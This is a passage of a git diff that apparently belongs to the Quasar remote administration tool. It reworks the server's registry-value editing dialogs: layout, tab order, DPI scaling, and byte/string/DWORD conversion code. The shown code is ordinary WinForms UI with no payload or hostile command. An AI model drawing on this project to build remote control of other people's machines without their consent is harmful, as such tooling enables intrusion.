this.cancelButton.Location = new System.Drawing.Point(278, 273); this.cancelButton.Name = "cancelButton"; this.cancelButton.Size = new System.Drawing.Size(75, 23); - this.cancelButton.TabIndex = 4; + this.cancelButton.TabIndex = 2; this.cancelButton.Text = "Cancel"; this.cancelButton.UseVisualStyleBackColor = true; - this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click); // // okButton // - this.okButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.okButton.Location = new System.Drawing.Point(182, 3); + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(197, 273); this.okButton.Name = "okButton"; this.okButton.Size = new System.Drawing.Size(75, 23); - this.okButton.TabIndex = 5; + this.okButton.TabIndex = 1; this.okButton.Text = "OK"; this.okButton.UseVisualStyleBackColor = true; this.okButton.Click += new System.EventHandler(this.okButton_Click); @@ -120,18 +104,19 @@ private void InitializeComponent() this.hexEditor.Margin = new System.Windows.Forms.Padding(0, 2, 3, 3); this.hexEditor.Name = "hexEditor"; this.hexEditor.Size = new System.Drawing.Size(341, 196); - this.hexEditor.TabIndex = 6; + this.hexEditor.TabIndex = 0; this.hexEditor.VScrollBarVisisble = true; // // FrmRegValueEditBinary // this.AcceptButton = this.okButton; - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.CancelButton = this.cancelButton; this.ClientSize = new System.Drawing.Size(365, 304); + this.Controls.Add(this.cancelButton); this.Controls.Add(this.hexEditor); - this.Controls.Add(this.flowLayoutPanel1); + this.Controls.Add(this.okButton); this.Controls.Add(this.label2); this.Controls.Add(this.valueNameTxtBox); this.Controls.Add(this.label1); @@ -141,8 +126,6 @@ private void InitializeComponent() this.Name = "FrmRegValueEditBinary"; this.ShowIcon = false; this.Text = "Edit Binary"; - this.Load += new System.EventHandler(this.FrmRegValueEditBinary_Load); - this.flowLayoutPanel1.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -153,7 +136,6 @@ private void InitializeComponent() private System.Windows.Forms.TextBox valueNameTxtBox; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; - private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; private System.Windows.Forms.Button cancelButton; private System.Windows.Forms.Button okButton; private Controls.HexEditor.HexEditor hexEditor; diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.cs new file mode 100644 index 000000000..72af620b7 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.cs @@ -0,0 +1,50 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Registry; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditBinary : Form + { + private readonly RegValueData _value; + + private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly."; + + public FrmRegValueEditBinary(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + hexEditor.HexTable = value.Data; + } + + private void okButton_Click(object sender, EventArgs e) + { + byte[] bytes = hexEditor.HexTable; + if (bytes != null) + { + try + { + _value.Data = bytes; + this.DialogResult = DialogResult.OK; + this.Tag = _value; + } + catch + { + ShowWarning(INVALID_BINARY_ERROR, "Warning"); + this.DialogResult = DialogResult.None; + } + } + + this.Close(); + } + + private void ShowWarning(string msg, string caption) + { + MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + } +} diff --git a/Server/Forms/FrmRegValueEditMultiString.resx b/Quasar.Server/Forms/FrmRegValueEditBinary.resx similarity index 100% rename from Server/Forms/FrmRegValueEditMultiString.resx rename to Quasar.Server/Forms/FrmRegValueEditBinary.resx diff --git a/Server/Forms/FrmRegValueEditMultiString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs similarity index 77% rename from Server/Forms/FrmRegValueEditMultiString.Designer.cs rename to Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs index b84faab61..0f3816802 100644 --- a/Server/Forms/FrmRegValueEditMultiString.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmRegValueEditMultiString { @@ -31,11 +31,9 @@ private void InitializeComponent() this.valueNameTxtBox = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); - this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); this.valueDataTxtBox = new System.Windows.Forms.TextBox(); - this.flowLayoutPanel1.SuspendLayout(); this.SuspendLayout(); // // valueNameTxtBox @@ -47,7 +45,7 @@ private void InitializeComponent() this.valueNameTxtBox.Name = "valueNameTxtBox"; this.valueNameTxtBox.ReadOnly = true; this.valueNameTxtBox.Size = new System.Drawing.Size(346, 20); - this.valueNameTxtBox.TabIndex = 5; + this.valueNameTxtBox.TabIndex = 3; // // label1 // @@ -58,7 +56,6 @@ private void InitializeComponent() this.label1.Location = new System.Drawing.Point(12, 9); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(66, 13); - this.label1.TabIndex = 4; this.label1.Text = "Value name:"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -71,41 +68,27 @@ private void InitializeComponent() this.label2.Location = new System.Drawing.Point(12, 53); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(61, 13); - this.label2.TabIndex = 6; this.label2.Text = "Value data:"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // - // flowLayoutPanel1 - // - this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.flowLayoutPanel1.Controls.Add(this.cancelButton); - this.flowLayoutPanel1.Controls.Add(this.okButton); - this.flowLayoutPanel1.Location = new System.Drawing.Point(24, 327); - this.flowLayoutPanel1.Name = "flowLayoutPanel1"; - this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes; - this.flowLayoutPanel1.Size = new System.Drawing.Size(337, 29); - this.flowLayoutPanel1.TabIndex = 8; - // // cancelButton // this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.cancelButton.Location = new System.Drawing.Point(259, 3); + this.cancelButton.Location = new System.Drawing.Point(286, 330); this.cancelButton.Name = "cancelButton"; this.cancelButton.Size = new System.Drawing.Size(75, 23); - this.cancelButton.TabIndex = 4; + this.cancelButton.TabIndex = 2; this.cancelButton.Text = "Cancel"; this.cancelButton.UseVisualStyleBackColor = true; - this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click); // // okButton // - this.okButton.Location = new System.Drawing.Point(178, 3); + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(205, 330); this.okButton.Name = "okButton"; this.okButton.Size = new System.Drawing.Size(75, 23); - this.okButton.TabIndex = 5; + this.okButton.TabIndex = 1; this.okButton.Text = "OK"; this.okButton.UseVisualStyleBackColor = true; this.okButton.Click += new System.EventHandler(this.okButton_Click); @@ -113,23 +96,24 @@ private void InitializeComponent() // valueDataTxtBox // this.valueDataTxtBox.AcceptsReturn = true; - this.valueDataTxtBox.Location = new System.Drawing.Point(15, 69); + this.valueDataTxtBox.Location = new System.Drawing.Point(15, 72); this.valueDataTxtBox.Multiline = true; this.valueDataTxtBox.Name = "valueDataTxtBox"; this.valueDataTxtBox.ScrollBars = System.Windows.Forms.ScrollBars.Both; this.valueDataTxtBox.Size = new System.Drawing.Size(346, 252); - this.valueDataTxtBox.TabIndex = 9; + this.valueDataTxtBox.TabIndex = 0; this.valueDataTxtBox.WordWrap = false; // // FrmRegValueEditMultiString // this.AcceptButton = this.okButton; - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.CancelButton = this.cancelButton; this.ClientSize = new System.Drawing.Size(373, 365); + this.Controls.Add(this.cancelButton); this.Controls.Add(this.valueDataTxtBox); - this.Controls.Add(this.flowLayoutPanel1); + this.Controls.Add(this.okButton); this.Controls.Add(this.label2); this.Controls.Add(this.valueNameTxtBox); this.Controls.Add(this.label1); @@ -139,8 +123,6 @@ private void InitializeComponent() this.Name = "FrmRegValueEditMultiString"; this.ShowIcon = false; this.Text = "Edit Multi-String"; - this.Load += new System.EventHandler(this.FrmRegValueEditMultiString_Load); - this.flowLayoutPanel1.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -151,7 +133,6 @@ private void InitializeComponent() private System.Windows.Forms.TextBox valueNameTxtBox; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; - private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; private System.Windows.Forms.Button cancelButton; private System.Windows.Forms.Button okButton; private System.Windows.Forms.TextBox valueDataTxtBox; diff --git a/Quasar.Server/Forms/FrmRegValueEditMultiString.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs new file mode 100644 index 000000000..7d68517ed --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs @@ -0,0 +1,30 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditMultiString : Form + { + private readonly RegValueData _value; + + public FrmRegValueEditMultiString(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = value.Name; + this.valueDataTxtBox.Text = string.Join("\r\n", ByteConverter.ToStringArray(value.Data)); + } + + private void okButton_Click(object sender, EventArgs e) + { + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries)); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} diff --git a/Client/Properties/Resources.resx b/Quasar.Server/Forms/FrmRegValueEditMultiString.resx similarity index 93% rename from Client/Properties/Resources.resx rename to Quasar.Server/Forms/FrmRegValueEditMultiString.resx index 9d27f585f..1af7de150 100644 --- a/Client/Properties/Resources.resx +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.resx @@ -117,8 +117,4 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - \ No newline at end of file diff --git a/Server/Forms/FrmRegValueEditString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs similarity index 78% rename from Server/Forms/FrmRegValueEditString.Designer.cs rename to Quasar.Server/Forms/FrmRegValueEditString.Designer.cs index bfae41aab..4fdef39b4 100644 --- a/Server/Forms/FrmRegValueEditString.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmRegValueEditString { @@ -35,8 +35,6 @@ private void InitializeComponent() this.valueDataTxtBox = new System.Windows.Forms.TextBox(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); - this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); - this.flowLayoutPanel1.SuspendLayout(); this.SuspendLayout(); // // label1 @@ -48,7 +46,6 @@ private void InitializeComponent() this.label1.Location = new System.Drawing.Point(9, 12); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(66, 13); - this.label1.TabIndex = 0; this.label1.Text = "Value name:"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -61,7 +58,7 @@ private void InitializeComponent() this.valueNameTxtBox.Name = "valueNameTxtBox"; this.valueNameTxtBox.ReadOnly = true; this.valueNameTxtBox.Size = new System.Drawing.Size(343, 20); - this.valueNameTxtBox.TabIndex = 1; + this.valueNameTxtBox.TabIndex = 3; // // label2 // @@ -72,7 +69,6 @@ private void InitializeComponent() this.label2.Location = new System.Drawing.Point(9, 60); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(61, 13); - this.label2.TabIndex = 2; this.label2.Text = "Value data:"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -84,64 +80,52 @@ private void InitializeComponent() this.valueDataTxtBox.Location = new System.Drawing.Point(12, 76); this.valueDataTxtBox.Name = "valueDataTxtBox"; this.valueDataTxtBox.Size = new System.Drawing.Size(343, 20); - this.valueDataTxtBox.TabIndex = 3; + this.valueDataTxtBox.TabIndex = 0; // // cancelButton // this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.cancelButton.Location = new System.Drawing.Point(265, 3); + this.cancelButton.Location = new System.Drawing.Point(280, 111); this.cancelButton.Name = "cancelButton"; this.cancelButton.Size = new System.Drawing.Size(75, 23); - this.cancelButton.TabIndex = 4; + this.cancelButton.TabIndex = 2; this.cancelButton.Text = "Cancel"; this.cancelButton.UseVisualStyleBackColor = true; - this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click); // // okButton // - this.okButton.Location = new System.Drawing.Point(184, 3); + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(199, 111); this.okButton.Name = "okButton"; this.okButton.Size = new System.Drawing.Size(75, 23); - this.okButton.TabIndex = 5; + this.okButton.TabIndex = 1; this.okButton.Text = "OK"; this.okButton.UseVisualStyleBackColor = true; this.okButton.Click += new System.EventHandler(this.okButton_Click); // - // flowLayoutPanel1 - // - this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.flowLayoutPanel1.Controls.Add(this.cancelButton); - this.flowLayoutPanel1.Controls.Add(this.okButton); - this.flowLayoutPanel1.Location = new System.Drawing.Point(12, 108); - this.flowLayoutPanel1.Name = "flowLayoutPanel1"; - this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes; - this.flowLayoutPanel1.Size = new System.Drawing.Size(343, 33); - this.flowLayoutPanel1.TabIndex = 6; - // // FrmRegValueEditString // this.AcceptButton = this.okButton; - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.CancelButton = this.cancelButton; this.ClientSize = new System.Drawing.Size(364, 146); - this.Controls.Add(this.flowLayoutPanel1); - this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.okButton); this.Controls.Add(this.label2); this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.valueDataTxtBox); this.Controls.Add(this.label1); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; this.MaximizeBox = false; this.MinimizeBox = false; this.Name = "FrmRegValueEditString"; this.ShowIcon = false; + this.ShowInTaskbar = false; this.Text = "Edit String"; - this.Load += new System.EventHandler(this.FrmRegValueEditString_Load); - this.flowLayoutPanel1.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); @@ -155,6 +139,5 @@ private void InitializeComponent() private System.Windows.Forms.TextBox valueDataTxtBox; private System.Windows.Forms.Button cancelButton; private System.Windows.Forms.Button okButton; - private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; } } \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegValueEditString.cs b/Quasar.Server/Forms/FrmRegValueEditString.cs new file mode 100644 index 000000000..d068af9e8 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditString.cs @@ -0,0 +1,31 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Registry; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditString : Form + { + private readonly RegValueData _value; + + public FrmRegValueEditString(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + this.valueDataTxtBox.Text = ByteConverter.ToString(value.Data); + } + + private void okButton_Click(object sender, EventArgs e) + { + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} diff --git a/Server/Forms/FrmRegValueEditString.resx b/Quasar.Server/Forms/FrmRegValueEditString.resx similarity index 100% rename from Server/Forms/FrmRegValueEditString.resx rename to Quasar.Server/Forms/FrmRegValueEditString.resx diff --git a/Server/Forms/FrmRegValueEditWord.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs similarity index 76% rename from Server/Forms/FrmRegValueEditWord.Designer.cs rename to Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs index 91f8a307b..62aefd5e1 100644 --- a/Server/Forms/FrmRegValueEditWord.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs @@ -1,4 +1,7 @@ -namespace xServer.Forms +using Quasar.Server.Controls; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms { partial class FrmRegValueEditWord { @@ -32,14 +35,12 @@ private void InitializeComponent() this.valueNameTxtBox = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); - this.valueDataTxtBox = new System.Windows.Forms.TextBox(); - this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); this.baseBox = new System.Windows.Forms.GroupBox(); this.radioDecimal = new System.Windows.Forms.RadioButton(); this.radioHexa = new System.Windows.Forms.RadioButton(); - this.flowLayoutPanel1.SuspendLayout(); + this.valueDataTxtBox = new WordTextBox(); this.baseBox.SuspendLayout(); this.SuspendLayout(); // @@ -51,8 +52,8 @@ private void InitializeComponent() this.valueNameTxtBox.Location = new System.Drawing.Point(12, 27); this.valueNameTxtBox.Name = "valueNameTxtBox"; this.valueNameTxtBox.ReadOnly = true; - this.valueNameTxtBox.Size = new System.Drawing.Size(337, 20); - this.valueNameTxtBox.TabIndex = 3; + this.valueNameTxtBox.Size = new System.Drawing.Size(334, 20); + this.valueNameTxtBox.TabIndex = 5; // // label1 // @@ -63,7 +64,7 @@ private void InitializeComponent() this.label1.Location = new System.Drawing.Point(9, 11); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(66, 13); - this.label1.TabIndex = 2; + this.label1.TabIndex = 10; this.label1.Text = "Value name:"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // @@ -76,51 +77,28 @@ private void InitializeComponent() this.label2.Location = new System.Drawing.Point(9, 53); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(61, 13); - this.label2.TabIndex = 4; + this.label2.TabIndex = 9; this.label2.Text = "Value data:"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // - // valueDataTxtBox - // - this.valueDataTxtBox.CharacterCasing = System.Windows.Forms.CharacterCasing.Lower; - this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70); - this.valueDataTxtBox.Name = "valueDataTxtBox"; - this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20); - this.valueDataTxtBox.TabIndex = 5; - this.valueDataTxtBox.WordWrap = false; - this.valueDataTxtBox.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.valueDataTxtBox_KeyPress); - // - // flowLayoutPanel1 - // - this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.flowLayoutPanel1.Controls.Add(this.cancelButton); - this.flowLayoutPanel1.Controls.Add(this.okButton); - this.flowLayoutPanel1.Location = new System.Drawing.Point(12, 122); - this.flowLayoutPanel1.Name = "flowLayoutPanel1"; - this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes; - this.flowLayoutPanel1.Size = new System.Drawing.Size(337, 29); - this.flowLayoutPanel1.TabIndex = 7; - // // cancelButton // this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; - this.cancelButton.Location = new System.Drawing.Point(259, 3); + this.cancelButton.Location = new System.Drawing.Point(271, 128); this.cancelButton.Name = "cancelButton"; this.cancelButton.Size = new System.Drawing.Size(75, 23); - this.cancelButton.TabIndex = 4; + this.cancelButton.TabIndex = 2; this.cancelButton.Text = "Cancel"; this.cancelButton.UseVisualStyleBackColor = true; - this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click); // // okButton // - this.okButton.Location = new System.Drawing.Point(178, 3); + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(190, 128); this.okButton.Name = "okButton"; this.okButton.Size = new System.Drawing.Size(75, 23); - this.okButton.TabIndex = 5; + this.okButton.TabIndex = 1; this.okButton.Text = "OK"; this.okButton.UseVisualStyleBackColor = true; this.okButton.Click += new System.EventHandler(this.okButton_Click); @@ -132,7 +110,7 @@ private void InitializeComponent() this.baseBox.Location = new System.Drawing.Point(190, 53); this.baseBox.Name = "baseBox"; this.baseBox.Size = new System.Drawing.Size(156, 63); - this.baseBox.TabIndex = 8; + this.baseBox.TabIndex = 6; this.baseBox.TabStop = false; this.baseBox.Text = "Base"; // @@ -142,10 +120,9 @@ private void InitializeComponent() this.radioDecimal.Location = new System.Drawing.Point(14, 40); this.radioDecimal.Name = "radioDecimal"; this.radioDecimal.Size = new System.Drawing.Size(63, 17); - this.radioDecimal.TabIndex = 1; + this.radioDecimal.TabIndex = 4; this.radioDecimal.Text = "Decimal"; this.radioDecimal.UseVisualStyleBackColor = true; - this.radioDecimal.Click += new System.EventHandler(this.radioDecimal_Click); // // radioHexa // @@ -154,34 +131,45 @@ private void InitializeComponent() this.radioHexa.Location = new System.Drawing.Point(14, 17); this.radioHexa.Name = "radioHexa"; this.radioHexa.Size = new System.Drawing.Size(86, 17); - this.radioHexa.TabIndex = 0; + this.radioHexa.TabIndex = 3; this.radioHexa.TabStop = true; this.radioHexa.Text = "Hexadecimal"; this.radioHexa.UseVisualStyleBackColor = true; - this.radioHexa.Click += new System.EventHandler(this.radioHexa_Click); + this.radioHexa.CheckedChanged += new System.EventHandler(this.radioHex_CheckboxChanged); + // + // valueDataTxtBox + // + this.valueDataTxtBox.IsHexNumber = true; + this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70); + this.valueDataTxtBox.MaxLength = 8; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20); + this.valueDataTxtBox.TabIndex = 0; + this.valueDataTxtBox.Text = "0"; + this.valueDataTxtBox.Type = WordType.DWORD; // // FrmRegValueEditWord // this.AcceptButton = this.okButton; - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.CancelButton = this.cancelButton; this.ClientSize = new System.Drawing.Size(358, 163); - this.Controls.Add(this.baseBox); - this.Controls.Add(this.flowLayoutPanel1); this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.baseBox); + this.Controls.Add(this.okButton); this.Controls.Add(this.label2); this.Controls.Add(this.valueNameTxtBox); this.Controls.Add(this.label1); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; this.MaximizeBox = false; this.MinimizeBox = false; this.Name = "FrmRegValueEditWord"; this.ShowIcon = false; this.Text = "Edit"; - this.Load += new System.EventHandler(this.FrmRegValueEditWord_Load); - this.flowLayoutPanel1.ResumeLayout(false); this.baseBox.ResumeLayout(false); this.baseBox.PerformLayout(); this.ResumeLayout(false); @@ -194,12 +182,11 @@ private void InitializeComponent() private System.Windows.Forms.TextBox valueNameTxtBox; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox valueDataTxtBox; - private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; private System.Windows.Forms.Button cancelButton; private System.Windows.Forms.Button okButton; private System.Windows.Forms.GroupBox baseBox; private System.Windows.Forms.RadioButton radioDecimal; private System.Windows.Forms.RadioButton radioHexa; + private Controls.WordTextBox valueDataTxtBox; } } \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegValueEditWord.cs b/Quasar.Server/Forms/FrmRegValueEditWord.cs new file mode 100644 index 000000000..a8745c1d1 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditWord.cs @@ -0,0 +1,80 @@ +using System; +using System.Windows.Forms; +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditWord : Form + { + private readonly RegValueData _value; + + private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?"; + private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?"; + + public FrmRegValueEditWord(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = value.Name; + + if (value.Kind == RegistryValueKind.DWord) + { + this.Text = "Edit DWORD (32-bit) Value"; + this.valueDataTxtBox.Type = WordType.DWORD; + this.valueDataTxtBox.Text = ByteConverter.ToUInt32(value.Data).ToString("x"); + } + else + { + this.Text = "Edit QWORD (64-bit) Value"; + this.valueDataTxtBox.Type = WordType.QWORD; + this.valueDataTxtBox.Text = ByteConverter.ToUInt64(value.Data).ToString("x"); + } + } + + private void radioHex_CheckboxChanged(object sender, EventArgs e) + { + if (valueDataTxtBox.IsHexNumber == radioHexa.Checked) + return; + + if(valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + valueDataTxtBox.IsHexNumber = radioHexa.Checked; + else + radioDecimal.Checked = true; + } + + private void okButton_Click(object sender, EventArgs e) + { + if (valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + { + _value.Data = _value.Kind == RegistryValueKind.DWord + ? ByteConverter.GetBytes(valueDataTxtBox.UIntValue) + : ByteConverter.GetBytes(valueDataTxtBox.ULongValue); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + } + else + { + this.DialogResult = DialogResult.None; + } + + this.Close(); + } + + private DialogResult ShowWarning(string msg, string caption) + { + return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + } + + private bool IsOverridePossible() + { + string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING; + + return ShowWarning(message, "Overflow") == DialogResult.Yes; + } + } +} diff --git a/Server/Forms/FrmRegValueEditWord.resx b/Quasar.Server/Forms/FrmRegValueEditWord.resx similarity index 100% rename from Server/Forms/FrmRegValueEditWord.resx rename to Quasar.Server/Forms/FrmRegValueEditWord.resx diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs similarity index 93% rename from Server/Forms/FrmRegistryEditor.Designer.cs rename to Quasar.Server/Forms/FrmRegistryEditor.Designer.cs index e8634476d..56c1e05cb 100644 --- a/Server/Forms/FrmRegistryEditor.Designer.cs +++ b/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmRegistryEditor { @@ -71,7 +73,7 @@ private void InitializeComponent() this.selectedItem_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.modifyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.modifyBinaryDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.modifyToolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.deleteToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.renameToolStripMenuItem1 = new 